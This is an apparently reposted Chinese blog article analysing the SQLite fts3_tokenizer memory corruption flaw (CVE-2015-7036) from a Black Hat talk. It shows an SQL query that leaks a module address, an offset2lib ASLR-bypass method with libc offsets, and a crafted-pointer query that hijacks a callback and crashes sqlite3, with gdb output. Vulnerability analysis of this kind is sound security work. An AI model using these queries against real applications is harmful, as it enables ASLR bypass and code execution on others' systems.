剖析SQLite内存破坏漏洞
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
0×00 从黑帽大会说起
前不久,一年一度的黑帽大会于在美国拉斯维加斯举行,安全圈内各位大咖、全球顶级安全企业都使出浑身解数,展示他们最新的研究成果。相信大多数小伙伴都和小编一样,虽然有心想参会,但无奈囊中羞涩。
错过大会怎么办?没关系,我们还可以一起来学习观摩大牛的视频和文档。这次与大家共赏一个国内安全厂商的议题《一石多鸟:利用单个SQLite漏洞破解多个软件》。
0×01 什么是内存破坏漏洞
SQLite是一款轻型数据库,是遵守ACID的关系型数据管理系统,它包含在一个相对小的C库中。作为一款嵌入式数据库,他因占用的资源非常低,数据处理速度快等优点被Andriod、WebKit等流行软件采用。
说起SQLite的内存破坏漏洞,共分为两种类型,一是由SQLite数据库的文件格式引起的内存损坏漏洞,如CVE-2015-7036,CVE-2017-10989,另一个是SQLite解析器触发的sql语句中的错误。CVE-2015-3414,CVE-2015-3415。
提起CVE-2015-7036,fts3_tokenizer是一个绕不开的话题。这是发生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是内置的SQLite的fts3_tokenizer函数存在任意命令执行漏洞,远程攻击者可以通过SQL命令执行任意指令或导致系统崩溃,拒绝服务。让我们来一起看看这个能让号称最安全的苹果系统都中招的fts3_tokenizer到底是何方神圣。
sqlite中支持fts表(full-text search的简称),fts3其实是sqlite的一个扩展模块,是虚拟表模块,允许用户使用 MATCH ‘keyword’ 查询而非 LIKE ‘%keyword%’ 子串匹配的方式实现全文检索。在实现全文搜索的过程中,对原始内容进行分词是一个必须的过程。SQLite内置的simple和porter分词器只能支持ASCII字符的英文分词,为满足不同语言的需求,SQLite 3.7.13开始引入unicode61分词器以支持unicode,并提供给开发者自行添加分词器的接口。
0×02 fts3_tokenizer的两种烹饪方式
sqlite在fts3_tokenizer.h中提供了各种接口供用户自定义分词器,但其并未提供c函数供用户来注册自定义的分词器,分词器的注册必须使用sql语句来完成。
官方提供了两种fts3_tokenizer函数的使用方式,这两种方式便产生了两种漏洞:
1、SELECT fts3_tokenizer();
参数中的tokenizer-name是分词器的名称,该用法的返回值是指定名字分词器的sqlite3_tokenizer_module 结构体指针,以 blob 类型表示16进制的一个大端序的内存地址。该用法本来是用来检查分词器是否被注册。但是同时我们也发现,如果是探测一个已经存在的分词器返回值是一个内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter:
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)
以 simple 分词器为例,其注册的指针指向静态区的 simpleTokenizerModule。
static const sqlite3_tokenizer_module simpleTokenizerModule = { 0, simpleCreate, simpleDestroy, simpleOpen, simpleClose, simpleNext,};
通过获得这个指针,获得 sqlite3 的基地址,根据不同版本调整偏移量,可以计算绕过 ASLR保护机制:
SQLite version 3.8.10.2 2015-05-20 18:17:19Enter ".help" for usage hints.Connected to a transient in-memory database.Use ".open FILENAME" to reopen on a persistent database.sqlite> select hex(fts3_tokenizer('simple'));A0CE0D3321560000sqlite>
root@kali:/usr/local/bin# grep sqlite /proc/20261/maps555555554000-555555623000 r-xp 00000000 fe:00 3417560 /usr/local/bin/sqlite3555555822000-555555825000 r--p 000ce000 fe:00 3417560 /usr/local/bin/sqlite3555555825000-555555828000 rw-p 000d1000 fe:00 3417560 /usr/local/bin/sqlite3
Offset2lib攻击:
这里提一下关于绕过ASLR保护机制的相关内容:
ASLR(Address Space Layout Randomization),地址空间格局的随机化,就是用来防范Ret2libc攻击手段的另一个重要的安全特性。在你知道目标代码或数据定位的前提下,它可以变成一种规避攻击的技术。正因为黑客并不知道整个地址空间的布局,ASLR技术变得极为有效。只有当可执行程序编译为PIE时(地址无关可执行文件),才能最大限度地从ASLR技术那里获得保护,因为其所有组成部分都是从随机地址加载的。
然而,当可执行文件被编译成PIE之后,GNU/Linux下的ASLR实现的过程中,会出现一个名为Offset2lib安全漏洞,其专门用于绕过在GNU/Linux下如ASLR之类的对于普通漏洞的常用防护。
正常情况下,可能需要大概五步进行攻击,攻击的流程总结如下:
提取静态信息
暴力获取saved-IP部分
计算应用基址
计算offset2lib常量
获得内存映射区域
首先,我们的攻击对目标程序和其执行环境做一个离线分析。利用标准的缓冲区溢出漏洞来暴力获取被ASLR隐藏的保存在栈里的应用代码的saved-IP地址(应用地址),这多亏了目标的fork服务器结构。一旦我们获得了目标应用的完整地址,应用的基址就能被计算出来。最后一步则是对整个库做内存映射,这将决定于目标GNU/Linux的版本。获得隐藏的未明信息后,利用ROP应用获得远程shell是非常容易的。
因为fts3_tokenizer好心的提醒了我们基址地址,甚至不需要前三步的计算,通过union或者盲注,我们可以获取到这个基地址信息。
计算出目标库的offset2lib值,它会因系统的不同而不同,但相互之间有很大的相似性。获得这些offset2lib的值有一个迅捷的办法,那就是本地执行该应用,打印出偏移量。offset2lib并不决定于应用本身,我们需要为特定Linux系统版本量身计算。
Distribution Libc ver. Offset2libCentOS 6.5 2.12 0x5b6000Debian 7.1 2.13 0x5ac000Ubuntu 12.04 2.15 0x5e4000Ubuntu 12.10 2.15 0x5e4000
libc(Linux下的ANSI C的函数库。 ANSI C是基本的C语言函数库,包含了C语言最基本的库函数)的基址都可以通过可执行文件基址减去offset2lib值来计算:
Libc_base = App_base - offset2lib
获取到libc的内存地址之后的目标就是获取shell了。可以借助ROP(现代栈溢出利用技术基础)来实现,本文就不详细介绍了。
2、SELECT fts3_tokenizer(,);
这里的sqlite3_tokenizer_module ptr表示一个指向sqlite3_tokenizer_module结构的指针并且编码为SQL blob。这种用法用来注册新的分词器,在SQL下执行此形式语句,即可注册一个的分词器。没错,这里就是把指针当成参数直接放进SQL语句中了,这个指针指向一个 sqlite3_tokenizer_module 结构体,前文已经提到其中包含数个回调函数指针,注册完成分词器后,SQLite3 在处理一些 SQL 查询时将会执行分词器的回调函数以获得结果。
攻击者构造出一个结构体之后,获取到该结构体的内存地址,并使用 SQL 注入等手段让目标注册构造好的“分词器”,再通过 SQL 触发特殊回调就可以实现劫持 IP 寄存器,执行任意代码。接下来进一步分析这个攻击面是否可以被利用。
现在来尝试触发 xCreate 回调执行任意代码。在SQLite3 控制台输入如下查询即可导致段错误:
SQLite version 3.8.10.2 2015-05-20 18:17:19Enter ".help" for usage hints.Connected to a transient in-memory database.Use ".open FILENAME" to reopen on a persistent database.sqlite> select fts3_tokenizer('simple', x'4141414141414141'); create virtual table a using fts3;AAAAAAAAProgram received signal SIGSEGV, Segmentation fault.0x00005555555a2178 in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x55555582d7c8, zArg=zArg@entry=0x5555556019cf "simple", ppTok=ppTok@entry=0x7fffffffc7d8, pzErr=pzErr@entry=0x7fffffffc8f8) at sqlite3.c:141967141967 rc = m->xCreate(iArg, aArg, ppTok);
用gdb查看崩溃的上下文:
[----------------------------------registers-----------------------------------]rax 0x4141414141414141 4702111234474983745rbx 0x0 0rcx 0x0 0rdx 0x7fffffffc7d8 140737488340952rsi 0x0 0rdi 0x0 0rbp 0x0 0x0rsp 0x7fffffffc6b0 0x7fffffffc6b0r8 0x60 96r9 0x73 115r10 0x555555604aa0 93824992955040r11 0x1 1r12 0x0 0r13 0x55555583f8ee 93824995293422r14 0x7fffffffc6dc 140737488340700r15 0x55555583f8e8 93824995293416rip 0x5555555a2178 0x5555555a2178
- 上一篇:针对MSOffice的木马新变种(毒藤)深度分析
- 下一篇:Java 思维导图